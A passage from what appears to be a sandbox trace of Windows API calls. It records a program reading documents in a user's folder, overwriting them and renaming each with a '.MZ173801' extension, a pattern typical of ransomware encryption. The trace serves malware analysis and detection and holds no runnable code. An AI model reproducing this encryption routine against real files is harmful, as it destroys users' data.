lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.573] WriteFile (in: hFile=0x288, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x18210, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f99c*=0x18210, lpOverlapped=0x0) returned 1 [0124.576] CloseHandle (hObject=0x288) returned 1 [0124.580] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LlEz.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\llez.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LlEz.doc.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\llez.doc.mz173801")) returned 1 [0124.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\q2_Y1QkDxrE4OwSA-7I8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q2_y1qkdxre4owsa-7i8.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae73cb90, ftCreationTime.dwHighDateTime=0x1d574b3, ftLastAccessTime.dwLowDateTime=0xfceaa0d0, ftLastAccessTime.dwHighDateTime=0x1d5ae1c, ftLastWriteTime.dwLowDateTime=0xfceaa0d0, ftLastWriteTime.dwHighDateTime=0x1d5ae1c, nFileSizeHigh=0x0, nFileSizeLow=0xfc3b)) returned 1 [0124.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.583] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\q2_Y1QkDxrE4OwSA-7I8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q2_y1qkdxre4owsa-7i8.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.583] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.584] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.584] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xfc3b [0124.584] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.584] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xfc3b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xfc3b, lpOverlapped=0x0) returned 1 [0124.585] CloseHandle (hObject=0x288) returned 1 [0124.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\q2_Y1QkDxrE4OwSA-7I8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q2_y1qkdxre4owsa-7i8.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.587] WriteFile (in: hFile=0x288, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xfc3b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f99c*=0xfc3b, lpOverlapped=0x0) returned 1 [0124.605] CloseHandle (hObject=0x288) returned 1 [0124.607] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\q2_Y1QkDxrE4OwSA-7I8.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q2_y1qkdxre4owsa-7i8.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\q2_Y1QkDxrE4OwSA-7I8.pptx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q2_y1qkdxre4owsa-7i8.pptx.mz173801")) returned 1 [0124.608] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UgL4-.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ugl4-.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca85dc70, ftCreationTime.dwHighDateTime=0x1d5d902, ftLastAccessTime.dwLowDateTime=0xece841b0, ftLastAccessTime.dwHighDateTime=0x1d5dd1a, ftLastWriteTime.dwLowDateTime=0xece841b0, ftLastWriteTime.dwHighDateTime=0x1d5dd1a, nFileSizeHigh=0x0, nFileSizeLow=0x7ec2)) returned 1 [0124.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UgL4-.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ugl4-.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.611] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.611] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.611] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x7ec2 [0124.611] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.611] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x7ec2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x7ec2, lpOverlapped=0x0) returned 1 [0124.612] CloseHandle (hObject=0x288) returned 1 [0124.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UgL4-.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ugl4-.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.614] WriteFile (in: hFile=0x288, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x7ec2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f99c*=0x7ec2, lpOverlapped=0x0) returned 1 [0124.615] CloseHandle (hObject=0x288) returned 1 [0124.623] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UgL4-.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ugl4-.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UgL4-.pdf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ugl4-.pdf.mz173801")) returned 1 [0124.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vq7ZCx5KHQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vq7zcx5khq.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ddbd20, ftCreationTime.dwHighDateTime=0x1d5a144, ftLastAccessTime.dwLowDateTime=0xab2fb630, ftLastAccessTime.dwHighDateTime=0x1d58a82, ftLastWriteTime.dwLowDateTime=0xab2fb630, ftLastWriteTime.dwHighDateTime=0x1d58a82, nFileSizeHigh=0x0, nFileSizeLow=0x5e86)) returned 1 [0124.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 